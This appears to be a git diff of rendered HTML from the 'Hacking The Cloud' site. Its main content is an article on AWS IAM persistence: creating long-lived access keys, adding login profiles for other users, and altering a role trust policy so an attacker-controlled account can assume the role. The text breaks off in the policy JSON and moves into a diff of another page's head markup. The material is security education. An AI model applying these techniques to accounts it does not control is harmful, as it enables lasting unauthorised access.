Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS IAM Persistence Methods </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-user-access-keys class=md-nav__link> <span class=md-ellipsis> IAM User Access Keys </span> </a> </li> <li class=md-nav__item> <a href=#iam-user-login-profile class=md-nav__link> <span class=md-ellipsis> IAM User Login Profile </span> </a> </li> <li class=md-nav__item> <a href=#iam-role-assume-role-policy class=md-nav__link> <span class=md-ellipsis> IAM Role Assume Role Policy </span> </a> </li> <li class=md-nav__item> <a href=#survive-access-key-deletion-with-stsgetfederationtoken class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=#ec2-instance-persistence class=md-nav__link> <span class=md-ellipsis> EC2 Instance Persistence </span> </a> </li> <li class=md-nav__item> <a href=#lambda-persistence class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=#user-data-script-persistence class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-user-access-keys class=md-nav__link> <span class=md-ellipsis> IAM User Access Keys </span> </a> </li> <li class=md-nav__item> <a href=#iam-user-login-profile class=md-nav__link> <span class=md-ellipsis> IAM User Login Profile </span> </a> </li> <li class=md-nav__item> <a href=#iam-role-assume-role-policy class=md-nav__link> <span class=md-ellipsis> IAM Role Assume Role Policy </span> </a> </li> <li class=md-nav__item> <a href=#survive-access-key-deletion-with-stsgetfederationtoken class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=#ec2-instance-persistence class=md-nav__link> <span class=md-ellipsis> EC2 Instance Persistence </span> </a> </li> <li class=md-nav__item> <a href=#lambda-persistence class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=#user-data-script-persistence class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/iam_persistence.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS IAM Persistence Methods</h1> <p>After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.</p> <p>More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.</p> <h2 id=iam-user-access-keys>IAM User Access Keys<a class=headerlink href=#iam-user-access-keys title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://sysdig.com/blog/scarleteel-2-0/ >SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</a> </li> <li><a href=https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/ >Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-access-key.html>iam:CreateAccessKey</a></li> </ul> </li> </ul> </div> <p>AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html>IAM users</a> can create pairs of <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html>access keys</a> to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >access</a> to those credentials to perform actions as the associated user.</p> <p>Access keys created this way are long lived (starting with <a href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ >AKIA</a>), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>Aside from the opportunity to maintain persistence in an AWS environment, <code>iam:CreateAccessKey</code> can also potentially be used for lateral movement to create credentials for other users.</p> </div> <h2 id=iam-user-login-profile>IAM User Login Profile<a class=headerlink href=#iam-user-login-profile title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/ >Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-login-profile.html>iam:CreateLoginProfile</a></li> </ul> </li> </ul> </div> <p>AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html>IAM users</a> can be configured to access the AWS console with a username and password. An adversary with the <code>iam:CreateLoginProfile</code> permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.</p> <h2 id=iam-role-assume-role-policy>IAM Role Assume Role Policy<a class=headerlink href=#iam-role-assume-role-policy title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html>iam:UpdateAssumeRolePolicy</a></li> </ul> </li> </ul> </div> <p>In order to assume an <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html>IAM role</a>, a <a href=https://docs.aws.amazon.com/workdocs/latest/developerguide/wd-iam-grantdev.html>role trust policy</a> must be attached to it. This policy specifies the identities that are permitted to assume the role.</p> <p>An adversary could invoke <code>iam:UpdateAssumeRolePolicy</code>, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>  </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>  </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Effect&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;Allow&quot;</span><span class=p>,</span>
diff --git a/aws/post_exploitation/intercept_ssm_communications/index.html b/aws/post_exploitation/intercept_ssm_communications/index.html
index 0f6862946..bf34f0eab 100644
--- a/aws/post_exploitation/intercept_ssm_communications/index.html
+++ b/aws/post_exploitation/intercept_ssm_communications/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><link href=https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ rel=canonical><link href=../iam_persistence/ rel=prev><link href=../lambda_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Intercept SSM Communications - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Intercept SSM Communications - Hacking The Cloud"><meta property=og:description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Intercept SSM Communications - Hacking The Cloud"><meta property=twitter:description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><link href=https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ rel=canonical><link href=../iam_persistence/ rel=prev><link href=../lambda_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Intercept SSM Communications - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Intercept SSM Communications - Hacking The Cloud"><meta property=og:description content="With access to an EC2 instance you can intercept, modify, and spoof SSM communications."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png><meta property=og:image:type 